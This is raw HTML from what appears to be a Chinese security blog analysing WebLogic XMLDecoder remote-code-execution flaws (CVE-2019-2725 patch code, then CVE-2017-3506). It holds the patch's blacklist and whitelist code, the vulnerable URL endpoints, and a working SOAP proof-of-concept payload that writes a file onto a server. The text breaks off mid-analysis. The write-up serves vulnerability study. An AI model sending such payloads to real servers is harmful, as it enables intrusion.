class="kd">final</span> <span class="kd">class</span> <span class="nc">WorkContextXmlInputAdapter</span> <span class="kd">implements</span> <span class="nc">WorkContextInput</span> <span class="o">{</span> + <span class="kd">public</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">String</span> <span class="no">WORKCONTEXTARRAYLENGHPROPERTY</span> <span class="o">=</span> <span class="s">"weblogic.wsee.workarea.arraylength"</span><span class="o">;</span> + <span class="kd">public</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">String</span> <span class="no">WORKCONTEXTOVERALLARRAYLENGHPROPERTY</span> <span class="o">=</span> <span class="s">"weblogic.wsee.workarea.overallarraylength"</span><span class="o">;</span> + <span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="kt">int</span> <span class="no">MAXARRAYLENGTH</span> <span class="o">=</span> <span class="nc">Integer</span><span class="o">.</span><span class="na">getInteger</span><span class="o">(</span><span class="s">"weblogic.wsee.workarea.arraylength"</span><span class="o">,</span> <span class="mi">10000</span><span class="o">);</span> + <span class="kd">private</span> <span class="kd">static</span> <span class="kd">final</span> <span class="kt">int</span> <span class="no">OVERALLMAXARRAYLENGTH</span> <span class="o">=</span> <span class="nc">Integer</span><span class="o">.</span><span class="na">getInteger</span><span class="o">(</span><span class="s">"weblogic.wsee.workarea.overallarraylength"</span><span class="o">,</span> <span class="mi">100000</span><span class="o">);</span> + <span class="kd">private</span> <span class="kd">final</span> <span class="nc">XMLDecoder</span> <span class="n">xmlDecoder</span><span class="o">;</span> + + <span class="kd">public</span> <span class="nf">WorkContextXmlInputAdapter</span><span class="o">(</span><span class="nc">InputStream</span> <span class="n">is</span><span class="o">)</span> <span class="o">{</span> + <span class="nc">ByteArrayOutputStream</span> <span class="n">baos</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ByteArrayOutputStream</span><span class="o">();</span> + + <span class="k">try</span> <span class="o">{</span> + <span class="kt">int</span> <span class="n">next</span> <span class="o">=</span> <span class="kc">false</span><span class="o">;</span> + + <span class="k">for</span><span class="o">(</span><span class="kt">int</span> <span class="n">next</span> <span class="o">=</span> <span class="n">is</span><span class="o">.</span><span class="na">read</span><span class="o">();</span> <span class="n">next</span> <span class="o">!=</span> <span class="o">-</span><span class="mi">1</span><span class="o">;</span> <span class="n">next</span> <span class="o">=</span> <span class="n">is</span><span class="o">.</span><span class="na">read</span><span class="o">())</span> <span class="o">{</span> + <span class="n">baos</span><span class="o">.</span><span class="na">write</span><span class="o">(</span><span class="n">next</span><span class="o">);</span> + <span class="o">}</span> + <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">Exception</span> <span class="n">var4</span><span class="o">)</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"Failed to get data from input stream"</span><span class="o">,</span> <span class="n">var4</span><span class="o">);</span> + <span class="o">}</span> + + <span class="k">this</span><span class="o">.</span><span class="na">validate</span><span class="o">(</span><span class="k">new</span> <span class="nc">ByteArrayInputStream</span><span class="o">(</span><span class="n">baos</span><span class="o">.</span><span class="na">toByteArray</span><span class="o">()));</span> + <span class="k">this</span><span class="o">.</span><span class="na">validateFormat</span><span class="o">(</span><span class="k">new</span> <span class="nc">ByteArrayInputStream</span><span class="o">(</span><span class="n">baos</span><span class="o">.</span><span class="na">toByteArray</span><span class="o">()));</span> + <span class="k">this</span><span class="o">.</span><span class="na">xmlDecoder</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">XMLDecoder</span><span class="o">(</span><span class="k">new</span> <span class="nc">ByteArrayInputStream</span><span class="o">(</span><span class="n">baos</span><span class="o">.</span><span class="na">toByteArray</span><span class="o">()));</span> + <span class="o">}</span> + + <span class="kd">private</span> <span class="kt">void</span> <span class="nf">validateFormat</span><span class="o">(</span><span class="nc">InputStream</span> <span class="n">is</span><span class="o">)</span> <span class="o">{</span> + <span class="nc">WebLogicSAXParserFactory</span> <span class="n">factory</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">WebLogicSAXParserFactory</span><span class="o">();</span> + + <span class="k">try</span> <span class="o">{</span> + <span class="nc">SAXParser</span> <span class="n">parser</span> <span class="o">=</span> <span class="n">factory</span><span class="o">.</span><span class="na">newSAXParser</span><span class="o">();</span> + <span class="n">parser</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="n">is</span><span class="o">,</span> <span class="k">new</span> <span class="nc">DefaultHandler</span><span class="o">()</span> <span class="o">{</span> + <span class="kd">public</span> <span class="kt">void</span> <span class="nf">startElement</span><span class="o">(</span><span class="nc">String</span> <span class="n">uri</span><span class="o">,</span> <span class="nc">String</span> <span class="n">localName</span><span class="o">,</span> <span class="nc">String</span> <span class="n">qName</span><span class="o">,</span> <span class="nc">Attributes</span> <span class="n">attributes</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">SAXException</span> <span class="o">{</span> + <span class="k">if</span> <span class="o">(!</span><span class="nc">WorkContextFormatInfo</span><span class="o">.</span><span class="na">allowedName</span><span class="o">.</span><span class="na">containsKey</span><span class="o">(</span><span class="n">qName</span><span class="o">))</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"Invalid element qName:"</span> <span class="o">+</span> <span class="n">qName</span><span class="o">);</span> + <span class="o">}</span> <span class="k">else</span> <span class="o">{</span> + <span class="nc">Map</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">&gt;</span> <span class="n">attributeMap</span> <span class="o">=</span> <span class="o">(</span><span class="nc">Map</span><span class="o">)</span><span class="nc">WorkContextFormatInfo</span><span class="o">.</span><span class="na">allowedName</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">qName</span><span class="o">);</span> + <span class="k">if</span> <span class="o">(</span><span class="n">attributeMap</span> <span class="o">==</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="n">attributes</span><span class="o">.</span><span class="na">getLength</span><span class="o">()</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="o">)</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"Invalid attribute for element qName:"</span> <span class="o">+</span> <span class="n">qName</span><span class="o">);</span> + <span class="o">}</span> <span class="k">else</span> <span class="o">{</span> + <span class="k">for</span><span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">attributes</span><span class="o">.</span><span class="na">getLength</span><span class="o">();</span> <span class="o">++</span><span class="n">i</span><span class="o">)</span> <span class="o">{</span> + <span class="nc">String</span> <span class="n">attrName</span> <span class="o">=</span> <span class="n">attributes</span><span class="o">.</span><span class="na">getQName</span><span class="o">(</span><span class="n">i</span><span class="o">);</span> + <span class="k">if</span> <span class="o">(!</span><span class="n">attributeMap</span><span class="o">.</span><span class="na">containsKey</span><span class="o">(</span><span class="n">attrName</span><span class="o">))</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"Invalid attribute for element qName:"</span> <span class="o">+</span> <span class="n">qName</span> <span class="o">+</span> <span class="s">", current attribute Name is:"</span> <span class="o">+</span> <span class="n">attrName</span><span class="o">);</span> + <span class="o">}</span> + + <span class="nc">String</span> <span class="n">attrValue</span> <span class="o">=</span> <span class="o">(</span><span class="nc">String</span><span class="o">)</span><span class="n">attributeMap</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="n">attrName</span><span class="o">);</span> + <span class="k">if</span> <span class="o">(!</span><span class="s">"any"</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">attrValue</span><span class="o">)</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">attrValue</span><span class="o">.</span><span class="na">equals</span><span class="o">(</span><span class="n">attributes</span><span class="o">.</span><span class="na">getValue</span><span class="o">(</span><span class="n">i</span><span class="o">)))</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"The value of attribute is not valid: element qName:"</span> <span class="o">+</span> <span class="n">qName</span> <span class="o">+</span> <span class="s">", current attribute Name is:"</span> <span class="o">+</span> <span class="n">attrName</span> <span class="o">+</span> <span class="s">", current attribute values is: "</span> <span class="o">+</span> <span class="n">attributes</span><span class="o">.</span><span class="na">getValue</span><span class="o">(</span><span class="n">i</span><span class="o">));</span> + <span class="o">}</span> + <span class="o">}</span> + + <span class="o">}</span> + <span class="o">}</span> + <span class="o">}</span> + <span class="o">});</span> + <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">SAXException</span> <span class="o">|</span> <span class="nc">IOException</span> <span class="o">|</span> <span class="nc">ParserConfigurationException</span> <span class="n">var5</span><span class="o">)</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"Parser Exception"</span><span class="o">,</span> <span class="n">var5</span><span class="o">);</span> + <span class="o">}</span> + <span class="o">}</span> + + <span class="kd">private</span> <span class="kt">void</span> <span class="nf">validate</span><span class="o">(</span><span class="nc">InputStream</span> <span class="n">is</span><span class="o">)</span> <span class="o">{</span> + <span class="nc">WebLogicSAXParserFactory</span> <span class="n">factory</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">WebLogicSAXParserFactory</span><span class="o">();</span> + + <span class="k">try</span> <span class="o">{</span> + <span class="nc">SAXParser</span> <span class="n">parser</span> <span class="o">=</span> <span class="n">factory</span><span class="o">.</span><span class="na">newSAXParser</span><span class="o">();</span> + <span class="n">parser</span><span class="o">.</span><span class="na">parse</span><span class="o">(</span><span class="n">is</span><span class="o">,</span> <span class="k">new</span> <span class="nc">DefaultHandler</span><span class="o">()</span> <span class="o">{</span> + <span class="kd">private</span> <span class="kt">int</span> <span class="n">overallarraylength</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> + + <span class="kd">public</span> <span class="kt">void</span> <span class="nf">startElement</span><span class="o">(</span><span class="nc">String</span> <span class="n">uri</span><span class="o">,</span> <span class="nc">String</span> <span class="n">localName</span><span class="o">,</span> <span class="nc">String</span> <span class="n">qName</span><span class="o">,</span> <span class="nc">Attributes</span> <span class="n">attributes</span><span class="o">)</span> <span class="kd">throws</span> <span class="nc">SAXException</span> <span class="o">{</span> + <span class="k">if</span> <span class="o">(</span><span class="n">qName</span><span class="o">.</span><span class="na">equalsIgnoreCase</span><span class="o">(</span><span class="s">"object"</span><span class="o">))</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"Invalid element qName:object"</span><span class="o">);</span> + <span class="o">}</span> <span class="k">else</span> <span class="k">if</span> <span class="o">(</span><span class="n">qName</span><span class="o">.</span><span class="na">equalsIgnoreCase</span><span class="o">(</span><span class="s">"class"</span><span class="o">))</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"Invalid element qName:class"</span><span class="o">);</span> + <span class="o">}</span> <span class="k">else</span> <span class="k">if</span> <span class="o">(</span><span class="n">qName</span><span class="o">.</span><span class="na">equalsIgnoreCase</span><span class="o">(</span><span class="s">"new"</span><span class="o">))</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"Invalid element qName:new"</span><span class="o">);</span> + <span class="o">}</span> <span class="k">else</span> <span class="k">if</span> <span class="o">(</span><span class="n">qName</span><span class="o">.</span><span class="na">equalsIgnoreCase</span><span class="o">(</span><span class="s">"method"</span><span class="o">))</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"Invalid element qName:method"</span><span class="o">);</span> + <span class="o">}</span> <span class="k">else</span> <span class="o">{</span> + <span class="k">if</span> <span class="o">(</span><span class="n">qName</span><span class="o">.</span><span class="na">equalsIgnoreCase</span><span class="o">(</span><span class="s">"void"</span><span class="o">))</span> <span class="o">{</span> + <span class="k">for</span><span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">attributes</span><span class="o">.</span><span class="na">getLength</span><span class="o">();</span> <span class="o">++</span><span class="n">i</span><span class="o">)</span> <span class="o">{</span> + <span class="k">if</span> <span class="o">(!</span><span class="s">"index"</span><span class="o">.</span><span class="na">equalsIgnoreCase</span><span class="o">(</span><span class="n">attributes</span><span class="o">.</span><span class="na">getQName</span><span class="o">(</span><span class="n">i</span><span class="o">)))</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"Invalid attribute for element void:"</span> <span class="o">+</span> <span class="n">attributes</span><span class="o">.</span><span class="na">getQName</span><span class="o">(</span><span class="n">i</span><span class="o">));</span> + <span class="o">}</span> + <span class="o">}</span> + <span class="o">}</span> + + <span class="k">if</span> <span class="o">(</span><span class="n">qName</span><span class="o">.</span><span class="na">equalsIgnoreCase</span><span class="o">(</span><span class="s">"array"</span><span class="o">))</span> <span class="o">{</span> + <span class="nc">String</span> <span class="n">attClass</span> <span class="o">=</span> <span class="n">attributes</span><span class="o">.</span><span class="na">getValue</span><span class="o">(</span><span class="s">"class"</span><span class="o">);</span> + <span class="k">if</span> <span class="o">(</span><span class="n">attClass</span> <span class="o">!=</span> <span class="kc">null</span> <span class="o">&amp;&amp;</span> <span class="o">!</span><span class="n">attClass</span><span class="o">.</span><span class="na">equalsIgnoreCase</span><span class="o">(</span><span class="s">"byte"</span><span class="o">))</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"The value of class attribute is not valid for array element."</span><span class="o">);</span> + <span class="o">}</span> + + <span class="nc">String</span> <span class="n">lengthString</span> <span class="o">=</span> <span class="n">attributes</span><span class="o">.</span><span class="na">getValue</span><span class="o">(</span><span class="s">"length"</span><span class="o">);</span> + <span class="k">if</span> <span class="o">(</span><span class="n">lengthString</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> + <span class="k">try</span> <span class="o">{</span> + <span class="kt">int</span> <span class="n">length</span> <span class="o">=</span> <span class="nc">Integer</span><span class="o">.</span><span class="na">valueOf</span><span class="o">(</span><span class="n">lengthString</span><span class="o">);</span> + <span class="k">if</span> <span class="o">(</span><span class="n">length</span> <span class="o">&gt;=</span> <span class="nc">WorkContextXmlInputAdapter</span><span class="o">.</span><span class="na">MAXARRAYLENGTH</span><span class="o">)</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"Exceed array length limitation"</span><span class="o">);</span> + <span class="o">}</span> + + <span class="k">this</span><span class="o">.</span><span class="na">overallarraylength</span> <span class="o">+=</span> <span class="n">length</span><span class="o">;</span> + <span class="k">if</span> <span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">overallarraylength</span> <span class="o">&gt;=</span> <span class="nc">WorkContextXmlInputAdapter</span><span class="o">.</span><span class="na">OVERALLMAXARRAYLENGTH</span><span class="o">)</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"Exceed over all array limitation."</span><span class="o">);</span> + <span class="o">}</span> + <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">NumberFormatException</span> <span class="n">var8</span><span class="o">)</span> <span class="o">{</span> + <span class="o">}</span> + <span class="o">}</span> + <span class="o">}</span> + + <span class="o">}</span> + <span class="o">}</span> + <span class="o">});</span> + <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="nc">SAXException</span> <span class="o">|</span> <span class="nc">IOException</span> <span class="o">|</span> <span class="nc">ParserConfigurationException</span> <span class="n">var5</span><span class="o">)</span> <span class="o">{</span> + <span class="k">throw</span> <span class="k">new</span> <span class="nf">IllegalStateException</span><span class="o">(</span><span class="s">"Parser Exception"</span><span class="o">,</span> <span class="n">var5</span><span class="o">);</span> + <span class="o">}</span> + <span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 8</em></p> + +<p>在CVE-2017-10271的基础上,又加了对标签<code class="language-plaintext highlighter-rouge">class</code>的限制;另外完整添加了一个新的验证方法:<code class="language-plaintext highlighter-rouge">validateFormat</code>。<code class="language-plaintext highlighter-rouge">validateFormat</code>完全是一个白名单验证方法,涵盖了标签、属性名和属性内容。</p> + +<p>关于白名单内容,搜索代码后可知:</p> + +<p><code class="language-plaintext highlighter-rouge">weblogic/wsee/workarea/WorkContextFormatInfo.class</code></p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kd">public</span> <span class="kd">class</span> <span class="nc">WorkContextFormatInfo</span> <span class="o">{</span> + <span class="kd">public</span> <span class="kd">static</span> <span class="kd">final</span> <span class="nc">Map</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">Map</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">&gt;&gt;</span> <span class="n">allowedName</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HashMap</span><span class="o">();</span> + + <span class="kd">public</span> <span class="nf">WorkContextFormatInfo</span><span class="o">()</span> <span class="o">{</span> + <span class="o">}</span> + + <span class="kd">static</span> <span class="o">{</span> + <span class="n">allowedName</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"string"</span><span class="o">,</span> <span class="o">(</span><span class="nc">Object</span><span class="o">)</span><span class="kc">null</span><span class="o">);</span> + <span class="n">allowedName</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"int"</span><span class="o">,</span> <span class="o">(</span><span class="nc">Object</span><span class="o">)</span><span class="kc">null</span><span class="o">);</span> + <span class="n">allowedName</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"long"</span><span class="o">,</span> <span class="o">(</span><span class="nc">Object</span><span class="o">)</span><span class="kc">null</span><span class="o">);</span> + <span class="nc">Map</span><span class="o">&lt;</span><span class="nc">String</span><span class="o">,</span> <span class="nc">String</span><span class="o">&gt;</span> <span class="n">allowedAttr</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HashMap</span><span class="o">();</span> + <span class="n">allowedAttr</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"class"</span><span class="o">,</span> <span class="s">"byte"</span><span class="o">);</span> + <span class="n">allowedAttr</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"length"</span><span class="o">,</span> <span class="s">"any"</span><span class="o">);</span> + <span class="n">allowedName</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"array"</span><span class="o">,</span> <span class="n">allowedAttr</span><span class="o">);</span> + <span class="n">allowedAttr</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HashMap</span><span class="o">();</span> + <span class="n">allowedAttr</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"index"</span><span class="o">,</span> <span class="s">"any"</span><span class="o">);</span> + <span class="n">allowedName</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"void"</span><span class="o">,</span> <span class="n">allowedAttr</span><span class="o">);</span> + <span class="n">allowedName</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"byte"</span><span class="o">,</span> <span class="o">(</span><span class="nc">Object</span><span class="o">)</span><span class="kc">null</span><span class="o">);</span> + <span class="n">allowedName</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"boolean"</span><span class="o">,</span> <span class="o">(</span><span class="nc">Object</span><span class="o">)</span><span class="kc">null</span><span class="o">);</span> + <span class="n">allowedName</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"short"</span><span class="o">,</span> <span class="o">(</span><span class="nc">Object</span><span class="o">)</span><span class="kc">null</span><span class="o">);</span> + <span class="n">allowedName</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"char"</span><span class="o">,</span> <span class="o">(</span><span class="nc">Object</span><span class="o">)</span><span class="kc">null</span><span class="o">);</span> + <span class="n">allowedName</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"float"</span><span class="o">,</span> <span class="o">(</span><span class="nc">Object</span><span class="o">)</span><span class="kc">null</span><span class="o">);</span> + <span class="n">allowedName</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"double"</span><span class="o">,</span> <span class="o">(</span><span class="nc">Object</span><span class="o">)</span><span class="kc">null</span><span class="o">);</span> + <span class="n">allowedAttr</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">HashMap</span><span class="o">();</span> + <span class="n">allowedAttr</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"class"</span><span class="o">,</span> <span class="s">"java.beans.XMLDecoder"</span><span class="o">);</span> + <span class="n">allowedAttr</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"version"</span><span class="o">,</span> <span class="s">"any"</span><span class="o">);</span> + <span class="n">allowedName</span><span class="o">.</span><span class="na">put</span><span class="o">(</span><span class="s">"java"</span><span class="o">,</span> <span class="n">allowedAttr</span><span class="o">);</span> + <span class="o">}</span> +<span class="o">}</span> +</code></pre></div></div> + +<p>​ <em>信息 9</em></p> + +<p>代码还是比较清晰的,和<code class="language-plaintext highlighter-rouge">validate</code>方法的黑名单有部分重复。白名单的防范方式要更好一些,可防可控。</p> + +<h3 id="4-其他">4. 其他</h3> + +<p>需要注意的是,公开信息显示,到达<code class="language-plaintext highlighter-rouge">WorkContextXmlInputAdapter</code>的URL入口除了之前CVE-2017-10271 PoC展示的<code class="language-plaintext highlighter-rouge">wls-wsat/xxx</code>,如<code class="language-plaintext highlighter-rouge">wls-wsat/CoordinatorPortType</code>; 还有<code class="language-plaintext highlighter-rouge">_async/xxx</code>,如<code class="language-plaintext highlighter-rouge">_async/AsyncResponseService</code>。</p> + +<h2 id="0x03-参考">0x03 参考</h2> +<ol> + <li>“Oracle WebLogic wls9-async公告” _https://www.cnvd.org.cn/webinfo/show/4989</li> + <li>“WebLogic RCE(CVE-2019-2725)漏洞之旅” _http://www.secwk.com/2019/05/05/4006/</li> + <li>“Weblogic 远程命令执行漏洞分析(CVE-2019-2725)及利用payload构造详细解读” _https://xz.aliyun.com/t/5024</li> +</ol>#XMLDecoder RCE变种 ##0x00 描述Xmldecoder rce起源:cve_2017_35062020-01-25T00:00:00+00:002020-01-25T00:00:00+00:00/2020/01/25/XMLDecoder%20RCE%E8%B5%B7%E6%BA%90:CVE_2017_3506<h1 id="xmldecoder-rce起源-cve-2017-3506">XMLDecoder RCE起源: CVE-2017-3506</h1> + +<h2 id="0x00-描述">0x00 描述</h2> + +<p>CVE-2017-3506是一个XML Decoder RCE,并且在这个漏洞之后,针对Oracle发布的补丁,又陆续出现了其他的绕过方式,出现了CVE-2017-10271,CVE-2019-2725等。</p> + +<p>本文是介绍起源,即CVE-2017-3506。</p> + +<h2 id="0x01-poc">0x01 PoC</h2> + +<p>Weblogic: 10.3.6</p> + +<p>Post URL: http://172.16.100.97:7001/wls-wsat/CoordinatorPortType</p> + +<p>Post Body:</p> + +<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt">&lt;soapenv:Envelope</span> <span class="na">xmlns:soapenv=</span><span class="s">"http://schemas.xmlsoap.org/soap/envelope/"</span><span class="nt">&gt;</span> + <span class="nt">&lt;soapenv:Header&gt;</span> + <span class="nt">&lt;work:WorkContext</span> <span class="na">xmlns:work=</span><span class="s">"http://bea.com/2004/06/soap/workarea/"</span><span class="nt">&gt;</span> + <span class="nt">&lt;java</span> <span class="na">version=</span><span class="s">"1.6.0"</span> <span class="na">class=</span><span class="s">"java.beans.XMLDecoder"</span><span class="nt">&gt;</span> + <span class="nt">&lt;object</span> <span class="na">class=</span><span class="s">"java.io.PrintWriter"</span><span class="nt">&gt;</span> + <span class="nt">&lt;string&gt;</span>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt<span class="nt">&lt;/string&gt;&lt;void</span> <span class="na">method=</span><span class="s">"println"</span><span class="nt">&gt;</span> + <span class="nt">&lt;string&gt;</span>xmldecoder_vul_test444<span class="nt">&lt;/string&gt;&lt;/void&gt;&lt;void</span> <span class="na">method=</span><span class="s">"close"</span><span class="nt">/&gt;</span> + <span class="nt">&lt;/object&gt;</span> + <span class="nt">&lt;/java&gt;</span> + <span class="nt">&lt;/work:WorkContext&gt;</span> + <span class="nt">&lt;/soapenv:Header&gt;</span> + <span class="nt">&lt;soapenv:Body/&gt;</span> +<span class="nt">&lt;/soapenv:Envelope&gt;</span> +</code></pre></div></div> +<p>​ <em>信息 1</em></p> + +<p>##0x02 漏洞描述</p> + +<p>本小节主要描述cve-2017-3506的漏洞代码。漏洞点主要是processRequest这个函数。</p> + +<ol> + <li> + <p>processRequest</p> + + <p><code class="language-plaintext highlighter-rouge">weblogic/wsee/jaxws/workcontext/WorkContextServerTube.class</code></p> + + <div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">public</span> <span class="nc">NextAction</span> <span class="nf">processRequest</span><span class="o">(</span><span class="nc">Packet</span> <span class="n">var1</span><span class="o">)</span> <span class="o">{</span> + <span class="k">this</span><span class="o">.</span><span class="na">isUseOldFormat</span> <span class="o">=</span> <span class="kc">false</span><span class="o">;</span> + <span class="k">if</span> <span class="o">(</span><span class="n">var1</span><span class="o">.</span><span class="na">getMessage</span><span class="o">()</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> + <span class="nc">HeaderList</span> <span class="n">var2</span> <span class="o">=</span> <span class="n">var1</span><span class="o">.</span><span class="na">getMessage</span><span class="o">().</span><span class="na">getHeaders</span><span class="o">();</span> + <span class="nc">Header</span> <span class="n">var3</span> <span class="o">=</span> <span class="n">var2</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="nc">WorkAreaConstants</span><span class="o">.</span><span class="na">WORK_AREA_HEADER</span><span class="o">,</span> <span class="kc">true</span><span class="o">);</span> + <span class="k">if</span> <span class="o">(</span><span class="n">var3</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> + <span class="k">this</span><span class="o">.</span><span class="na">readHeaderOld</span><span class="o">(</span><span class="n">var3</span><span class="o">);</span> + <span class="k">this</span><span class="o">.</span><span class="na">isUseOldFormat</span> <span class="o">=</span> <span class="kc">true</span><span class="o">;</span> + <span class="o">}</span> + + <span class="nc">Header</span> <span class="n">var4</span> <span class="o">=</span> <span class="n">var2</span><span class="o">.</span><span class="na">get</span><span class="o">(</span><span class="k">this</span><span class="o">.</span><span class="na">JAX_WS_WORK_AREA_HEADER</span><span class="o">,</span> <span class="kc">true</span><span class="o">);</span> + <span class="k">if</span> <span class="o">(</span><span class="n">var4</span> <span class="o">!=</span> <span class="kc">null</span><span class="o">)</span> <span class="o">{</span> + <span class="k">this</span><span class="o">.</span><span class="na">readHeader</span><span class="o">(</span><span class="n">var4</span><span class="o">);</span> + <span class="o">}</span> + <span class="o">}</span> + + <span class="k">return</span> <span class="kd">super</span><span class="o">.</span><span class="na">processRequest</span><span class="o">(</span><span class="n">var1</span><span class="o">);</span> + <span class="o">}</span> +</code></pre></div> </div> + + <p>​ <em>信息 2</em></p> + </li> + <li> + <p>readHeaderOld</p> + </li> +</ol> + +<p><code class="language-plaintext highlighter-rouge">weblogic/wsee/jaxws/workcontext/WorkContextTube.class</code></p> + +<div class="language-java highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="kd">protected</span> <span class="kt">void</span> <span class="nf">readHeaderOld</span><span class="o">(</span><span class="nc">Header</span> <span class="n">var1</span><span class="o">)</span> <span class="o">{</span> + <span class="k">try</span> <span class="o">{</span> + <span class="nc">XMLStreamReader</span> <span class="n">var2</span> <span class="o">=</span> <span class="n">var1</span><span class="o">.</span><span class="na">readHeader</span><span class="o">();</span> + <span class="n">var2</span><span class="o">.</span><span class="na">nextTag</span><span class="o">();</span> + <span class="n">var2</span><span class="o">.</span><span class="na">nextTag</span><span class="o">();</span> + <span class="nc">XMLStreamReaderToXMLStreamWriter</span> <span class="n">var3</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">XMLStreamReaderToXMLStreamWriter</span><span class="o">();</span> + <span class="nc">ByteArrayOutputStream</span> <span class="n">var4</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">ByteArrayOutputStream</span><span class="o">();</span> + <span class="nc">XMLStreamWriter</span> <span class="n">var5</span> <span class="o">=</span> <span class="nc">XMLStreamWriterFactory</span><span class="o">.</span><span class="na">create</span><span class="o">(</span><span class="n">var4</span><span class="o">);</span> + <span class="n">var3</span><span class="o">.</span><span class="na">bridge</span><span class="o">(</span><span class="n">var2</span><span class="o">,</span> <span class="n">var5</span><span class="o">);</span> + <span class="n">var5</span><span class="o">.</span><span class="na">close</span><span class="o">();</span> + <span class="nc">WorkContextXmlInputAdapter</span> <span class="n">var6</span> <span class="o">=</span> <span class="k">new</span> <span class="nc">WorkContextXmlInputAdapter</span><span class="o">(</span><span class="k">new</span> <span class="nc">ByteArrayInputStream</span><span class="o">(</span><span class="n">var4</span><span class="o">.</span><span class="na">toByteArray</span><span class="o">()));</span> <span class="o">---</span><span class="mf">3.1</span> + <span class="k">this</span><span class="o">.</span><span class="na">receive</span><span class="o">(</span><span class="n">var6</span><span class="o">);</span> <span 